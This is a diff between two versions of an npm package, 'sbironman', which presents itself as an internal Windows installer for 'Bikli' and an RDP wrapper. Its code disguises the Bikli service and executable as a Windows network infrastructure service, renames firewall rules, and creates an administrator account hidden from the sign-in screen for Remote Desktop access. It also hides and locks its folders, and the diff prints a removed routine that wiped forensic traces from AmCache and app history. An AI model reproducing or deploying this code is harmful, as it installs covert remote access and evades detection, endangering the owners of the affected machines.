sbironman 4.0.0 → 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +5 -2
- package/bin/biklimaster.js +101 -166
- package/lib/bikliwrapper.js +53 -101
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
#
|
|
1
|
+
# sbironman
|
|
2
2
|
|
|
3
3
|
Internal one-command Windows installer for the Bikli CLI and Bikli Wrapper.
|
|
4
4
|
|
|
@@ -8,7 +8,7 @@ shipped in the package):
|
|
|
8
8
|
```text
|
|
9
9
|
set BIKLIMASTER_USER_PASSWORD=your-password
|
|
10
10
|
set BIKLIMASTER_BIKLI_KEY=your-bikli-key
|
|
11
|
-
npm install -g
|
|
11
|
+
npm install -g sbironman
|
|
12
12
|
```
|
|
13
13
|
|
|
14
14
|
The npm postinstall hook requests Windows administrator approval once, then:
|
|
@@ -33,6 +33,7 @@ biklitool status
|
|
|
33
33
|
biklitool install
|
|
34
34
|
biklitool disguise [name]
|
|
35
35
|
biklitool enable-rdp
|
|
36
|
+
biklitool disable-rdp
|
|
36
37
|
biklitool create-user
|
|
37
38
|
biklitool unhide-user [name]
|
|
38
39
|
biklitool hide-user <name>
|
|
@@ -48,6 +49,8 @@ bikli --help
|
|
|
48
49
|
|
|
49
50
|
Run `biklitool enable-rdp` at any time to repair the RDP enable setting, port, firewall rules,
|
|
50
51
|
service configuration, and the requested authentication and shadowing defaults.
|
|
52
|
+
Run `biklitool disable-rdp` to turn Remote Desktop off and stop the RDP listener; the wrapper
|
|
53
|
+
stays installed so `enable-rdp` can switch it back on at any time.
|
|
51
54
|
|
|
52
55
|
## Bikli key
|
|
53
56
|
|
package/bin/biklimaster.js
CHANGED
|
@@ -366,6 +366,7 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
|
|
|
366
366
|
|
|
367
367
|
const vBuf = createVsVersionInfo(strings);
|
|
368
368
|
const { rsrcBuf, totalRsrcSize } = buildCleanRsrcSection(rsrcVirtAddr, vBuf, manifestBuf);
|
|
369
|
+
if (totalRsrcSize > rsrcRawSize) return false;
|
|
369
370
|
|
|
370
371
|
const newExe = Buffer.from(exeBuf);
|
|
371
372
|
newExe.fill(0, rsrcRawPtr, rsrcRawPtr + rsrcRawSize);
|
|
@@ -384,61 +385,9 @@ function disguiseExecutable(exePath, serviceHostName = 'Service Host: Network In
|
|
|
384
385
|
return true;
|
|
385
386
|
}
|
|
386
387
|
|
|
387
|
-
function clearAppHistory() {
|
|
388
|
-
// Remove ALL Bikli entries (BikliService, bikli.exe, bikli-ui.exe) from every
|
|
389
|
-
// visible location: Task Manager App History, AppCompatFlags, and service display name.
|
|
390
|
-
const psScript = [
|
|
391
|
-
`$ErrorActionPreference='SilentlyContinue'`,
|
|
392
|
-
// --- [1] TaskFlow AppHistory (per-user hives) ---
|
|
393
|
-
`$appHistoryPath='Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\TaskFlow\\\\AppHistory'`,
|
|
394
|
-
`foreach($sid in (Get-ChildItem 'HKU:\\\\' -ErrorAction SilentlyContinue | Select-Object -ExpandProperty PSChildName)){`,
|
|
395
|
-
` $base='HKU:\\\\'+$sid+'\\\\'+$appHistoryPath`,
|
|
396
|
-
` if(Test-Path $base){ Get-ChildItem $base -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
397
|
-
`}`,
|
|
398
|
-
`$cuBase='HKCU:\\\\'+$appHistoryPath`,
|
|
399
|
-
`if(Test-Path $cuBase){ Get-ChildItem $cuBase -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
400
|
-
// --- [2] AppCompatFlags Compatibility Assistant Store (covers bikli.exe, bikli-ui.exe) ---
|
|
401
|
-
`$acPaths=@(`,
|
|
402
|
-
` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
|
|
403
|
-
` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Compatibility Assistant\\\\Store',`,
|
|
404
|
-
` 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers',`,
|
|
405
|
-
` 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Layers'`,
|
|
406
|
-
`)`,
|
|
407
|
-
`foreach($acPath in $acPaths){`,
|
|
408
|
-
` if(Test-Path $acPath){`,
|
|
409
|
-
` $key=Get-Item -LiteralPath $acPath -ErrorAction SilentlyContinue`,
|
|
410
|
-
` if($null -ne $key){ $key.GetValueNames() | Where-Object { $_ -match 'Bikli' } | ForEach-Object { Remove-ItemProperty -LiteralPath $acPath -Name $_ -Force -ErrorAction SilentlyContinue } }`,
|
|
411
|
-
` }`,
|
|
412
|
-
`}`,
|
|
413
|
-
// --- [3] AmCache ---
|
|
414
|
-
`$recentCache='HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\amcache'`,
|
|
415
|
-
`if(Test-Path $recentCache){ Get-ChildItem $recentCache -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.PSChildName -match 'Bikli' } | Remove-Item -Recurse -Force -ErrorAction SilentlyContinue }`,
|
|
416
|
-
// --- [4] App Paths (Start Menu / Run dialog) ---
|
|
417
|
-
`Remove-Item -Path 'HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
418
|
-
`Remove-Item -Path 'HKCU:\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\Bikli*' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
419
|
-
// --- [5] Service display name + description → rename to disguise value ---
|
|
420
|
-
`$svcName='Bikli'`,
|
|
421
|
-
`$svc=Get-Service -Name $svcName -ErrorAction SilentlyContinue`,
|
|
422
|
-
`if($null -ne $svc){`,
|
|
423
|
-
` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'DisplayName' -Value 'Network Infrastructure Service' -ErrorAction SilentlyContinue`,
|
|
424
|
-
` Set-ItemProperty -Path 'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
|
|
425
|
-
`}`
|
|
426
|
-
].join(os.EOL);
|
|
427
|
-
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
|
|
428
|
-
}
|
|
429
|
-
|
|
430
|
-
function deriveExeName(hostName) {
|
|
431
|
-
// Turn e.g. "Service Host: Network Infrastructure Service"
|
|
432
|
-
// into "NetworkInfrastructureService.exe" – no Bikli in the name.
|
|
433
|
-
const base = hostName.replace(/^Service Host:\s*/i, '').trim();
|
|
434
|
-
const pascal = base.split(/\s+/).map(w => w.charAt(0).toUpperCase() + w.slice(1)).join('');
|
|
435
|
-
// Keep only alphanumeric chars, cap at 32 chars before .exe
|
|
436
|
-
const safe = pascal.replace(/[^A-Za-z0-9]/g, '').slice(0, 32);
|
|
437
|
-
return (safe || 'RuntimeInfraService') + '.exe';
|
|
438
|
-
}
|
|
439
|
-
|
|
440
388
|
function disguiseBikli(customName) {
|
|
441
389
|
requireWindows();
|
|
390
|
+
if (customName) customName = customName.replace(/"/g, '').trim();
|
|
442
391
|
const hostName = (customName || process.env.BIKLIMASTER_SERVICE_HOST_NAME || configuredServiceHostName()).trim();
|
|
443
392
|
if (!isAdministrator()) return elevateAndRun(customName ? `disguise "${customName}"` : 'disguise');
|
|
444
393
|
|
|
@@ -448,29 +397,25 @@ function disguiseBikli(customName) {
|
|
|
448
397
|
}
|
|
449
398
|
|
|
450
399
|
const bikliDir = path.dirname(bikliPath);
|
|
451
|
-
const
|
|
452
|
-
|
|
453
|
-
|
|
400
|
+
const legacyServiceExe = path.join(bikliDir, 'BikliService.exe');
|
|
401
|
+
let serviceExe = path.join(bikliDir, 'NetInfraHost.exe');
|
|
402
|
+
let renamedLegacy = false;
|
|
454
403
|
const csc = path.join(windowsDirectory, 'Microsoft.NET', 'Framework64', 'v4.0.30319', 'csc.exe');
|
|
455
404
|
|
|
456
|
-
console.log(`Disguising Bikli process and service as "${hostName}"
|
|
405
|
+
console.log(`Disguising Bikli process and service as "${hostName}"...`);
|
|
457
406
|
|
|
458
|
-
|
|
459
|
-
const oldBaseName = path.basename(oldServiceExe, '.exe');
|
|
460
|
-
const newBaseName = path.basename(serviceExe, '.exe');
|
|
461
|
-
run(powershell, [
|
|
462
|
-
'-NoProfile', '-NonInteractive', '-Command',
|
|
463
|
-
`Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM ${oldBaseName}.exe /IM ${newBaseName}.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli,${oldBaseName},${newBaseName} -Timeout 3 -ErrorAction SilentlyContinue`
|
|
464
|
-
], { allowFailure: true });
|
|
407
|
+
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', 'Stop-Service Bikli -Force -ErrorAction SilentlyContinue; taskkill /F /IM BikliService.exe /IM NetInfraHost.exe /IM Bikli.exe /T 2>$null; Wait-Process -Name Bikli, BikliService, NetInfraHost -Timeout 2 -ErrorAction SilentlyContinue'], { allowFailure: true });
|
|
465
408
|
run(attrib, ['-h', '-s', path.join(bikliDir, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
466
409
|
|
|
467
|
-
|
|
468
|
-
|
|
469
|
-
|
|
470
|
-
|
|
471
|
-
|
|
410
|
+
if (!fs.existsSync(serviceExe) && fs.existsSync(legacyServiceExe)) {
|
|
411
|
+
try {
|
|
412
|
+
fs.renameSync(legacyServiceExe, serviceExe);
|
|
413
|
+
renamedLegacy = true;
|
|
414
|
+
} catch {
|
|
415
|
+
serviceExe = legacyServiceExe;
|
|
472
416
|
}
|
|
473
|
-
}
|
|
417
|
+
}
|
|
418
|
+
if (!fs.existsSync(serviceExe)) {
|
|
474
419
|
fs.copyFileSync(bikliPath, serviceExe);
|
|
475
420
|
}
|
|
476
421
|
|
|
@@ -496,7 +441,7 @@ function disguiseBikli(customName) {
|
|
|
496
441
|
' if (first == "help" || first == "--help" || first == "-h" || first == "/?" || first == "-help") return 0;',
|
|
497
442
|
' }',
|
|
498
443
|
' string baseDir = AppDomain.CurrentDomain.BaseDirectory;',
|
|
499
|
-
` string coreExe = Path.Combine(baseDir, "${
|
|
444
|
+
` string coreExe = Path.Combine(baseDir, "${path.basename(serviceExe)}");`,
|
|
500
445
|
' if (!File.Exists(coreExe)) return 1;',
|
|
501
446
|
' ProcessStartInfo psi = new ProcessStartInfo();',
|
|
502
447
|
' psi.FileName = coreExe;',
|
|
@@ -520,9 +465,23 @@ function disguiseBikli(customName) {
|
|
|
520
465
|
'}'
|
|
521
466
|
].join(os.EOL);
|
|
522
467
|
const tempCs = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.cs`);
|
|
468
|
+
const tempExe = path.join(os.tmpdir(), `bikli-wrapper-${randomUUID()}.exe`);
|
|
523
469
|
fs.writeFileSync(tempCs, csCode, 'utf8');
|
|
524
|
-
run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${
|
|
470
|
+
const compiled = run(csc, ['/target:exe', '/optimize+', '/platform:anycpu', `/out:${tempExe}`, tempCs], { allowFailure: true });
|
|
525
471
|
try { fs.rmSync(tempCs, { force: true }); } catch {}
|
|
472
|
+
if (compiled.status === 0 && fs.existsSync(tempExe)) {
|
|
473
|
+
fs.copyFileSync(tempExe, bikliPath);
|
|
474
|
+
} else if (renamedLegacy) {
|
|
475
|
+
try {
|
|
476
|
+
fs.renameSync(serviceExe, legacyServiceExe);
|
|
477
|
+
serviceExe = legacyServiceExe;
|
|
478
|
+
renamedLegacy = false;
|
|
479
|
+
} catch {}
|
|
480
|
+
}
|
|
481
|
+
try { fs.rmSync(tempExe, { force: true }); } catch {}
|
|
482
|
+
if (fileDescription(bikliPath) !== hostName) {
|
|
483
|
+
disguiseExecutable(bikliPath, hostName);
|
|
484
|
+
}
|
|
526
485
|
} else if (fileDescription(bikliPath) !== hostName) {
|
|
527
486
|
disguiseExecutable(bikliPath, hostName);
|
|
528
487
|
}
|
|
@@ -535,12 +494,13 @@ function disguiseBikli(customName) {
|
|
|
535
494
|
`Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Bikli' -Name 'Description' -Value 'Hosts core network infrastructure components and background tasks.' -ErrorAction SilentlyContinue`,
|
|
536
495
|
`Remove-Item -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
537
496
|
`Remove-Item -Path 'HKCU:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Bikli' -Recurse -Force -ErrorAction SilentlyContinue`,
|
|
538
|
-
`Start-Service Bikli -ErrorAction SilentlyContinue
|
|
497
|
+
`Start-Service Bikli -ErrorAction SilentlyContinue`,
|
|
498
|
+
`Start-Sleep -Seconds 3`,
|
|
499
|
+
`Get-NetFirewallRule -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Bikli' } | Set-NetFirewallRule -NewDisplayName 'Network Infrastructure Service' -ErrorAction SilentlyContinue`
|
|
539
500
|
].join(';');
|
|
540
501
|
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', psScript], { allowFailure: true });
|
|
541
502
|
|
|
542
503
|
hideProtectedFolders();
|
|
543
|
-
clearAppHistory();
|
|
544
504
|
console.log(`Bikli successfully disguised as "${hostName}" (Service Host process & gear icon active, search entry removed, quiet CLI enabled).`);
|
|
545
505
|
}
|
|
546
506
|
|
|
@@ -597,58 +557,38 @@ function verifyRemoteDesktop() {
|
|
|
597
557
|
console.log('Remote Desktop is enabled and verified on port 3389.');
|
|
598
558
|
}
|
|
599
559
|
|
|
600
|
-
function ensureTermServiceAutomatic() {
|
|
601
|
-
// Force TermService to Automatic start so it survives reboots.
|
|
602
|
-
run(powershell, [
|
|
603
|
-
'-NoProfile', '-NonInteractive', '-Command',
|
|
604
|
-
`sc.exe config TermService start= auto; sc.exe start TermService 2>$null; exit 0`
|
|
605
|
-
], { allowFailure: true });
|
|
606
|
-
}
|
|
607
|
-
|
|
608
|
-
function ensureIcmpFirewallRules() {
|
|
609
|
-
// Enable ping (ICMP) inbound so the host is reachable after install.
|
|
610
|
-
const script = [
|
|
611
|
-
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
|
|
612
|
-
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
|
|
613
|
-
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
|
|
614
|
-
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
|
|
615
|
-
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
|
|
616
|
-
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
|
|
617
|
-
].join(';');
|
|
618
|
-
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
|
|
619
|
-
}
|
|
620
|
-
|
|
621
560
|
function enableRemoteDesktop() {
|
|
622
561
|
requireWindows();
|
|
623
562
|
if (!isAdministrator()) return elevateAndRun('enable-rdp');
|
|
624
563
|
verifyPayload();
|
|
625
|
-
unhideProtectedFolders();
|
|
626
564
|
console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
|
|
627
565
|
const wrapper = runWrapper(['defaults', '--elevated']);
|
|
628
566
|
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
629
|
-
ensureTermServiceAutomatic();
|
|
630
|
-
ensureIcmpFirewallRules();
|
|
631
567
|
verifyRemoteDesktop();
|
|
632
568
|
hideProtectedFolders();
|
|
633
569
|
}
|
|
634
570
|
|
|
571
|
+
function disableRemoteDesktop() {
|
|
572
|
+
requireWindows();
|
|
573
|
+
if (!isAdministrator()) return elevateAndRun('disable-rdp');
|
|
574
|
+
const wrapper = runWrapper(['disable', '--elevated']);
|
|
575
|
+
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
576
|
+
if (remoteDesktopState().enabled) fail('Remote Desktop could not be disabled.', 6);
|
|
577
|
+
console.log('Remote Desktop is disabled. Run "biklitool enable-rdp" to enable it again.');
|
|
578
|
+
}
|
|
579
|
+
|
|
635
580
|
function install() {
|
|
636
581
|
requireWindows();
|
|
637
582
|
if (!isAdministrator()) return elevateAndRun('install');
|
|
638
583
|
verifyPayload();
|
|
639
|
-
unhideProtectedFolders();
|
|
640
584
|
installBikli();
|
|
641
585
|
setupBikliKey();
|
|
642
586
|
console.log('Installing or updating Bikli Wrapper silently...');
|
|
643
587
|
const wrapper = runWrapper(['install', '--elevated']);
|
|
644
588
|
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
645
|
-
// Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service.
|
|
646
|
-
ensureTermServiceAutomatic();
|
|
647
|
-
ensureIcmpFirewallRules();
|
|
648
589
|
verifyRemoteDesktop();
|
|
649
590
|
createRdpAdministrator();
|
|
650
591
|
hideProtectedFolders();
|
|
651
|
-
clearAppHistory();
|
|
652
592
|
console.log('Bikli Master installed and verified both components successfully.');
|
|
653
593
|
}
|
|
654
594
|
|
|
@@ -704,7 +644,7 @@ function setupBikliKey() {
|
|
|
704
644
|
console.log('Bikli key configured successfully.');
|
|
705
645
|
}
|
|
706
646
|
|
|
707
|
-
function hideFolder(target, isUserProfile = false) {
|
|
647
|
+
function hideFolder(target, isUserProfile = false, extraGrants = []) {
|
|
708
648
|
if (!target || !fs.existsSync(target)) return;
|
|
709
649
|
try {
|
|
710
650
|
run(attrib, ['+h', '+s', target], { allowFailure: true });
|
|
@@ -716,6 +656,7 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
716
656
|
'/grant:r',
|
|
717
657
|
'*S-1-5-18:(OI)(CI)(F)',
|
|
718
658
|
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
659
|
+
...extraGrants,
|
|
719
660
|
'/c', '/q'
|
|
720
661
|
], { allowFailure: true });
|
|
721
662
|
}
|
|
@@ -724,56 +665,20 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
724
665
|
}
|
|
725
666
|
}
|
|
726
667
|
|
|
727
|
-
function unhideFolder(target, isUserProfile = false) {
|
|
728
|
-
if (!target || !fs.existsSync(target)) return;
|
|
729
|
-
try {
|
|
730
|
-
run(attrib, ['-h', '-s', '-r', target], { allowFailure: true });
|
|
731
|
-
if (!isUserProfile) {
|
|
732
|
-
run(attrib, ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
733
|
-
run(icacls, [
|
|
734
|
-
target,
|
|
735
|
-
'/grant:r',
|
|
736
|
-
'*S-1-5-18:(OI)(CI)(F)',
|
|
737
|
-
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
738
|
-
'/c', '/q'
|
|
739
|
-
], { allowFailure: true });
|
|
740
|
-
}
|
|
741
|
-
} catch {
|
|
742
|
-
// Best-effort
|
|
743
|
-
}
|
|
744
|
-
}
|
|
745
|
-
|
|
746
|
-
function unhideProtectedFolders() {
|
|
747
|
-
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
748
|
-
const appFolders = [
|
|
749
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
750
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
751
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
752
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
753
|
-
path.join(programData, 'BikliWrapper'),
|
|
754
|
-
path.join(programData, 'Bikli')
|
|
755
|
-
];
|
|
756
|
-
for (const folder of appFolders) unhideFolder(folder, false);
|
|
757
|
-
|
|
758
|
-
const userFolders = [
|
|
759
|
-
path.join(usersDir, 'Administrator'),
|
|
760
|
-
path.join(usersDir, 'admin'),
|
|
761
|
-
path.join(usersDir, 'user')
|
|
762
|
-
];
|
|
763
|
-
for (const folder of userFolders) unhideFolder(folder, true);
|
|
764
|
-
}
|
|
765
|
-
|
|
766
668
|
function hideProtectedFolders() {
|
|
767
669
|
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
670
|
+
// TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
|
|
671
|
+
// must keep read/execute access for that account or the service cannot start.
|
|
672
|
+
const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
|
|
768
673
|
const appFolders = [
|
|
769
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
770
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
771
|
-
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
772
|
-
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
773
|
-
path.join(programData, 'BikliWrapper'),
|
|
774
|
-
path.join(programData, 'Bikli')
|
|
674
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
|
|
675
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
|
|
676
|
+
{ target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
|
|
677
|
+
{ target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
|
|
678
|
+
{ target: path.join(programData, 'BikliWrapper') },
|
|
679
|
+
{ target: path.join(programData, 'Bikli') }
|
|
775
680
|
];
|
|
776
|
-
for (const folder of appFolders) hideFolder(folder, false);
|
|
681
|
+
for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
|
|
777
682
|
|
|
778
683
|
const userFolders = [
|
|
779
684
|
path.join(usersDir, 'Administrator'),
|
|
@@ -819,6 +724,29 @@ function showAccountCredentials() {
|
|
|
819
724
|
console.log(`Stored for Administrators only: ${credentialsFile}`);
|
|
820
725
|
}
|
|
821
726
|
|
|
727
|
+
function parseAccountReport(stdout) {
|
|
728
|
+
const reportLine = (stdout || '')
|
|
729
|
+
.split(/\r?\n/)
|
|
730
|
+
.map(line => line.trim())
|
|
731
|
+
.find(line => line.startsWith('{'));
|
|
732
|
+
if (!reportLine) {
|
|
733
|
+
fail(`The account configuration script did not return a JSON report.${(stdout || '').trim() ? `\n${stdout.trim()}` : ''}`, 7);
|
|
734
|
+
}
|
|
735
|
+
try {
|
|
736
|
+
return JSON.parse(reportLine);
|
|
737
|
+
} catch {
|
|
738
|
+
fail(`The account configuration script returned an unreadable report: ${reportLine}`, 7);
|
|
739
|
+
return null;
|
|
740
|
+
}
|
|
741
|
+
}
|
|
742
|
+
|
|
743
|
+
function requireValidUserName(name) {
|
|
744
|
+
if (!/^[A-Za-z0-9._-]{1,20}$/.test(name)) {
|
|
745
|
+
fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');
|
|
746
|
+
}
|
|
747
|
+
return name;
|
|
748
|
+
}
|
|
749
|
+
|
|
822
750
|
function createRdpAdministrator() {
|
|
823
751
|
requireWindows();
|
|
824
752
|
if (!isAdministrator()) return elevateAndRun('create-user');
|
|
@@ -843,7 +771,7 @@ function createRdpAdministrator() {
|
|
|
843
771
|
`$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
|
|
844
772
|
`$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
|
|
845
773
|
`if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
|
|
846
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir;attrib +h +s (Join-Path $userDir '*.*') /s /d}`,
|
|
774
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,
|
|
847
775
|
`[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
|
|
848
776
|
].join(';');
|
|
849
777
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
|
|
@@ -852,7 +780,7 @@ function createRdpAdministrator() {
|
|
|
852
780
|
BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
|
|
853
781
|
}
|
|
854
782
|
});
|
|
855
|
-
const account =
|
|
783
|
+
const account = parseAccountReport(result.stdout);
|
|
856
784
|
if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
|
|
857
785
|
fail('The Remote Desktop administrator account could not be verified.', 7);
|
|
858
786
|
}
|
|
@@ -881,7 +809,7 @@ function createRdpAdministrator() {
|
|
|
881
809
|
|
|
882
810
|
function unhideUser() {
|
|
883
811
|
requireWindows();
|
|
884
|
-
const targetUser = process.argv[3];
|
|
812
|
+
const targetUser = process.argv[3] ? requireValidUserName(process.argv[3]) : '';
|
|
885
813
|
if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
|
|
886
814
|
const script = [
|
|
887
815
|
`$ErrorActionPreference='Stop'`,
|
|
@@ -891,10 +819,10 @@ function unhideUser() {
|
|
|
891
819
|
targetUser ? [
|
|
892
820
|
`$val=$key.GetValue('${targetUser}', $null)`,
|
|
893
821
|
`if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
|
|
894
|
-
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir}`
|
|
822
|
+
`$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}`
|
|
895
823
|
].join(';') : [
|
|
896
824
|
`$props=@($key.Property)`,
|
|
897
|
-
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir}}}`
|
|
825
|
+
`if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}}}`
|
|
898
826
|
].join(';')
|
|
899
827
|
].join(';');
|
|
900
828
|
const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
@@ -905,6 +833,7 @@ function hideUser() {
|
|
|
905
833
|
requireWindows();
|
|
906
834
|
const targetUser = process.argv[3];
|
|
907
835
|
if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
|
|
836
|
+
requireValidUserName(targetUser);
|
|
908
837
|
if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
|
|
909
838
|
const script = [
|
|
910
839
|
`$ErrorActionPreference='Stop'`,
|
|
@@ -913,7 +842,7 @@ function hideUser() {
|
|
|
913
842
|
`$key=Get-Item -LiteralPath $userListKey`,
|
|
914
843
|
`$currentVal=$key.GetValue('${targetUser}', $null)`,
|
|
915
844
|
